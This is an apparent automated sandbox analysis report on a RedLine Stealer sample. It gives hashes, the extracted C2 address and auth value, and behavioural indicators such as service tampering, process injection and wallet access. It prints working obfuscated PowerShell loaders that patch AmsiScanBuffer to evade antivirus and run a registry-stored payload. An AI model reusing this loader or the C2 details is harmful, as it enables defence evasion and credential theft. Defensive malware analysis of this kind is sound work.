Analysis
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max time kernel
68s -
max time network
70s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
28/01/2023, 19:13
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20220812-en
General
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Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
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Size
361KB
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MD5
18852c1659b6641a1f4eeacf6ce6bb8d
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SHA1
1d678410484e34165adb652f7e86a2b5cae5f58d
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SHA256
34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
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SHA512
86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
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SSDEEP
6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3276-168-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 760 created 2804 760 SmartDefRun.exe 42 PID 760 created 2804 760 SmartDefRun.exe 42 PID 760 created 2804 760 SmartDefRun.exe 42 PID 760 created 2804 760 SmartDefRun.exe 42 PID 1328 created 592 1328 powershell.EXE 6 -
Blocklisted process makes network request 2 IoCs
flow pid Process 17 1636 powershell.exe 77 1636 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 3 IoCs
pid Process 1656 new2.exe 540 SysApp.exe 760 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3316 set thread context of 1880 3316 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 82 PID 1656 set thread context of 3276 1656 new2.exe 99 PID 760 set thread context of 2472 760 SmartDefRun.exe 118 PID 1328 set thread context of 4044 1328 powershell.EXE 123 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2076 sc.exe 1296 sc.exe 3292 sc.exe 4772 sc.exe 4480 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1180 3316 WerFault.exe 80 2868 1656 WerFault.exe 95 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 56 IoCs
pid Process 1636 powershell.exe 1636 powershell.exe 540 SysApp.exe 540 SysApp.exe 540 SysApp.exe 540 SysApp.exe 540 SysApp.exe 540 SysApp.exe 540 SysApp.exe 540 SysApp.exe 540 SysApp.exe 540 SysApp.exe 3276 vbc.exe 760 SmartDefRun.exe 760 SmartDefRun.exe 3924 powershell.exe 3924 powershell.exe 760 SmartDefRun.exe 760 SmartDefRun.exe 760 SmartDefRun.exe 760 SmartDefRun.exe 1756 powershell.exe 1756 powershell.exe 760 SmartDefRun.exe 760 SmartDefRun.exe 1328 powershell.EXE 2328 powershell.EXE 1328 powershell.EXE 2328 powershell.EXE 1328 powershell.EXE 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe 4044 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1636 powershell.exe Token: SeDebugPrivilege 3276 vbc.exe Token: SeDebugPrivilege 3924 powershell.exe Token: SeDebugPrivilege 1756 powershell.exe Token: SeIncreaseQuotaPrivilege 1756 powershell.exe Token: SeSecurityPrivilege 1756 powershell.exe Token: SeTakeOwnershipPrivilege 1756 powershell.exe Token: SeLoadDriverPrivilege 1756 powershell.exe Token: SeSystemProfilePrivilege 1756 powershell.exe Token: SeSystemtimePrivilege 1756 powershell.exe Token: SeProfSingleProcessPrivilege 1756 powershell.exe Token: SeIncBasePriorityPrivilege 1756 powershell.exe Token: SeCreatePagefilePrivilege 1756 powershell.exe Token: SeBackupPrivilege 1756 powershell.exe Token: SeRestorePrivilege 1756 powershell.exe Token: SeShutdownPrivilege 1756 powershell.exe Token: SeDebugPrivilege 1756 powershell.exe Token: SeSystemEnvironmentPrivilege 1756 powershell.exe Token: SeRemoteShutdownPrivilege 1756 powershell.exe Token: SeUndockPrivilege 1756 powershell.exe Token: SeManageVolumePrivilege 1756 powershell.exe Token: 33 1756 powershell.exe Token: 34 1756 powershell.exe Token: 35 1756 powershell.exe Token: 36 1756 powershell.exe Token: SeIncreaseQuotaPrivilege 1756 powershell.exe Token: SeSecurityPrivilege 1756 powershell.exe Token: SeTakeOwnershipPrivilege 1756 powershell.exe Token: SeLoadDriverPrivilege 1756 powershell.exe Token: SeSystemProfilePrivilege 1756 powershell.exe Token: SeSystemtimePrivilege 1756 powershell.exe Token: SeProfSingleProcessPrivilege 1756 powershell.exe Token: SeIncBasePriorityPrivilege 1756 powershell.exe Token: SeCreatePagefilePrivilege 1756 powershell.exe Token: SeBackupPrivilege 1756 powershell.exe Token: SeRestorePrivilege 1756 powershell.exe Token: SeShutdownPrivilege 1756 powershell.exe Token: SeDebugPrivilege 1756 powershell.exe Token: SeSystemEnvironmentPrivilege 1756 powershell.exe Token: SeRemoteShutdownPrivilege 1756 powershell.exe Token: SeUndockPrivilege 1756 powershell.exe Token: SeManageVolumePrivilege 1756 powershell.exe Token: 33 1756 powershell.exe Token: 34 1756 powershell.exe Token: 35 1756 powershell.exe Token: 36 1756 powershell.exe Token: SeIncreaseQuotaPrivilege 1756 powershell.exe Token: SeSecurityPrivilege 1756 powershell.exe Token: SeTakeOwnershipPrivilege 1756 powershell.exe Token: SeLoadDriverPrivilege 1756 powershell.exe Token: SeSystemProfilePrivilege 1756 powershell.exe Token: SeSystemtimePrivilege 1756 powershell.exe Token: SeProfSingleProcessPrivilege 1756 powershell.exe Token: SeIncBasePriorityPrivilege 1756 powershell.exe Token: SeCreatePagefilePrivilege 1756 powershell.exe Token: SeBackupPrivilege 1756 powershell.exe Token: SeRestorePrivilege 1756 powershell.exe Token: SeShutdownPrivilege 1756 powershell.exe Token: SeDebugPrivilege 1756 powershell.exe Token: SeSystemEnvironmentPrivilege 1756 powershell.exe Token: SeRemoteShutdownPrivilege 1756 powershell.exe Token: SeUndockPrivilege 1756 powershell.exe Token: SeManageVolumePrivilege 1756 powershell.exe Token: 33 1756 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3316 wrote to memory of 1880 3316 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 82 PID 3316 wrote to memory of 1880 3316 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 82 PID 3316 wrote to memory of 1880 3316 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 82 PID 3316 wrote to memory of 1880 3316 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 82 PID 3316 wrote to memory of 1880 3316 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 82 PID 1880 wrote to memory of 1636 1880 vbc.exe 86 PID 1880 wrote to memory of 1636 1880 vbc.exe 86 PID 1880 wrote to memory of 1636 1880 vbc.exe 86 PID 1636 wrote to memory of 1656 1636 powershell.exe 95 PID 1636 wrote to memory of 1656 1636 powershell.exe 95 PID 1636 wrote to memory of 1656 1636 powershell.exe 95 PID 1636 wrote to memory of 540 1636 powershell.exe 97 PID 1636 wrote to memory of 540 1636 powershell.exe 97 PID 1636 wrote to memory of 540 1636 powershell.exe 97 PID 1636 wrote to memory of 760 1636 powershell.exe 98 PID 1636 wrote to memory of 760 1636 powershell.exe 98 PID 1656 wrote to memory of 3276 1656 new2.exe 99 PID 1656 wrote to memory of 3276 1656 new2.exe 99 PID 1656 wrote to memory of 3276 1656 new2.exe 99 PID 1656 wrote to memory of 3276 1656 new2.exe 99 PID 1656 wrote to memory of 3276 1656 new2.exe 99 PID 2492 wrote to memory of 2076 2492 cmd.exe 108 PID 2492 wrote to memory of 2076 2492 cmd.exe 108 PID 2492 wrote to memory of 1296 2492 cmd.exe 109 PID 2492 wrote to memory of 1296 2492 cmd.exe 109 PID 2492 wrote to memory of 3292 2492 cmd.exe 110 PID 2492 wrote to memory of 3292 2492 cmd.exe 110 PID 2492 wrote to memory of 4772 2492 cmd.exe 111 PID 2492 wrote to memory of 4772 2492 cmd.exe 111 PID 2492 wrote to memory of 4480 2492 cmd.exe 112 PID 2492 wrote to memory of 4480 2492 cmd.exe 112 PID 2492 wrote to memory of 836 2492 cmd.exe 113 PID 2492 wrote to memory of 836 2492 cmd.exe 113 PID 2492 wrote to memory of 2124 2492 cmd.exe 114 PID 2492 wrote to memory of 2124 2492 cmd.exe 114 PID 2492 wrote to memory of 2052 2492 cmd.exe 115 PID 2492 wrote to memory of 2052 2492 cmd.exe 115 PID 2492 wrote to memory of 3164 2492 cmd.exe 116 PID 2492 wrote to memory of 3164 2492 cmd.exe 116 PID 2492 wrote to memory of 1512 2492 cmd.exe 117 PID 2492 wrote to memory of 1512 2492 cmd.exe 117 PID 760 wrote to memory of 2472 760 SmartDefRun.exe 118 PID 1328 wrote to memory of 4044 1328 powershell.EXE 123 PID 1328 wrote to memory of 4044 1328 powershell.EXE 123 PID 1328 wrote to memory of 4044 1328 powershell.EXE 123 PID 1328 wrote to memory of 4044 1328 powershell.EXE 123 PID 1328 wrote to memory of 4044 1328 powershell.EXE 123 PID 1328 wrote to memory of 4044 1328 powershell.EXE 123 PID 1328 wrote to memory of 4044 1328 powershell.EXE 123 PID 1328 wrote to memory of 4044 1328 powershell.EXE 123 PID 1328 wrote to memory of 4044 1328 powershell.EXE 123 PID 4044 wrote to memory of 592 4044 dllhost.exe 6 PID 4044 wrote to memory of 680 4044 dllhost.exe 4 PID 4044 wrote to memory of 952 4044 dllhost.exe 76 PID 4044 wrote to memory of 64 4044 dllhost.exe 75 PID 4044 wrote to memory of 440 4044 dllhost.exe 9 PID 4044 wrote to memory of 720 4044 dllhost.exe 74 PID 4044 wrote to memory of 1032 4044 dllhost.exe 72 PID 4044 wrote to memory of 1040 4044 dllhost.exe 71 PID 4044 wrote to memory of 1144 4044 dllhost.exe 10 PID 4044 wrote to memory of 1204 4044 dllhost.exe 70 PID 4044 wrote to memory of 1212 4044 dllhost.exe 69 PID 4044 wrote to memory of 1264 4044 dllhost.exe 68 PID 4044 wrote to memory of 1332 4044 dllhost.exe 67
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:680
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:592
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:64
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a5a62258-54ea-4c53-9692-cc4d41228db4}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1144
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2812
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:WqHPAfqQGaaR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lAbBEyhSCCODNj,[Parameter(Position=1)][Type]$vjYjnNECbr)$uaxIOwOTCNR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+'ec'+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+'e'+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'T'+[Char](121)+'p'+'e'+'','C'+[Char](108)+''+[Char](97)+'ss'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+'c'+','+''+[Char](83)+'e'+'a'+''+'l'+''+[Char](101)+'d'+[Char](44)+'A'+[Char](110)+'si'+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+'to'+'C'+'la'+'s'+''+'s'+'',[MulticastDelegate]);$uaxIOwOTCNR.DefineConstructor(''+'R'+''+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+'a'+'l'+'N'+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$lAbBEyhSCCODNj).SetImplementationFlags(''+'R'+''+[Char](117)+'nt'+'i'+''+[Char](109)+''+'e'+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+'ge'+[Char](100)+'');$uaxIOwOTCNR.DefineMethod(''+'I'+'n'+'v'+''+[Char](111)+''+'k'+'e','P'+'u'+'bli'+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+'S'+'i'+'g,'+'N'+'e'+[Char](119)+''+'S'+'l'+[Char](111)+'t'+[Char](44)+''+'V'+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+'a'+'l',$vjYjnNECbr,$lAbBEyhSCCODNj).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+'e,M'+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $uaxIOwOTCNR.CreateType();}$BxiLZHUyaPLLM=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+''+'d'+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+'of'+[Char](116)+''+'.'+'W'+'i'+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+'ns'+[Char](97)+''+'f'+''+'e'+''+[Char](66)+''+'x'+'iL'+[Char](90)+''+[Char](72)+''+'U'+''+[Char](121)+''+[Char](97)+'P'+[Char](76)+''+'L'+''+'M'+'');$EtEkUPqRyeMtsJ=$BxiLZHUyaPLLM.GetMethod('E'+'t'+''+[Char](69)+''+'k'+''+[Char](85)+''+[Char](80)+''+'q'+''+[Char](82)+''+'y'+''+'e'+''+'M'+''+[Char](116)+''+[Char](115)+''+'J'+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'S'+''+'t'+''+'a'+'tic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vbZmiPjhxsIHckKVXyD=WqHPAfqQGaaR @([String])([IntPtr]);$kIkMMywGeHHCzgSAOziAUo=WqHPAfqQGaaR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XoxdUScOUus=$BxiLZHUyaPLLM.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+'e'+''+[Char](72)+'a'+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'er'+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+'.'+'d'+'l'+'l')));$SYcWZvnzaNknTx=$EtEkUPqRyeMtsJ.Invoke($Null,@([Object]$XoxdUScOUus,[Object]('L'+[Char](111)+''+'a'+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$NaTwXbMbkWCnEwAdm=$EtEkUPqRyeMtsJ.Invoke($Null,@([Object]$XoxdUScOUus,[Object](''+[Char](86)+''+'i'+'rt'+'u'+''+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+[Char](116)+'e'+'c'+'t')));$qzxNVHI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SYcWZvnzaNknTx,$vbZmiPjhxsIHckKVXyD).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$pwzELABRpzUHJoIhd=$EtEkUPqRyeMtsJ.Invoke($Null,@([Object]$qzxNVHI,[Object](''+[Char](65)+''+'m'+'siSc'+'a'+''+'n'+''+[Char](66)+''+'u'+'ff'+[Char](101)+''+[Char](114)+'')));$muBfUPPUZX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NaTwXbMbkWCnEwAdm,$kIkMMywGeHHCzgSAOziAUo).Invoke($pwzELABRpzUHJoIhd,[uint32]8,4,[ref]$muBfUPPUZX);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$pwzELABRpzUHJoIhd,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NaTwXbMbkWCnEwAdm,$kIkMMywGeHHCzgSAOziAUo).Invoke($pwzELABRpzUHJoIhd,[uint32]8,0x20,[ref]$muBfUPPUZX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+''+'W'+'ARE').GetValue('d'+[Char](105)+'a'+[Char](108)+''+[Char](101)+''+'r'+''+[Char](115)+'t'+'a'+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2328 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4004
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fszZPMxuBjDQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$IECxjfRLAtzWIn,[Parameter(Position=1)][Type]$wkiIntDvWD)$ZTPtXLjUszD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+[Char](101)+'d'+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+''+'m'+'o'+'r'+'yM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+''+'T'+''+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](80)+'u'+[Char](98)+''+'l'+'ic'+[Char](44)+''+'S'+''+[Char](101)+''+'a'+'le'+[Char](100)+''+','+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+'t'+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$ZTPtXLjUszD.DefineConstructor('R'+'T'+''+'S'+''+[Char](112)+''+'e'+'c'+[Char](105)+''+[Char](97)+''+'l'+'Na'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+'B'+'y'+''+'S'+'i'+'g'+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$IECxjfRLAtzWIn).SetI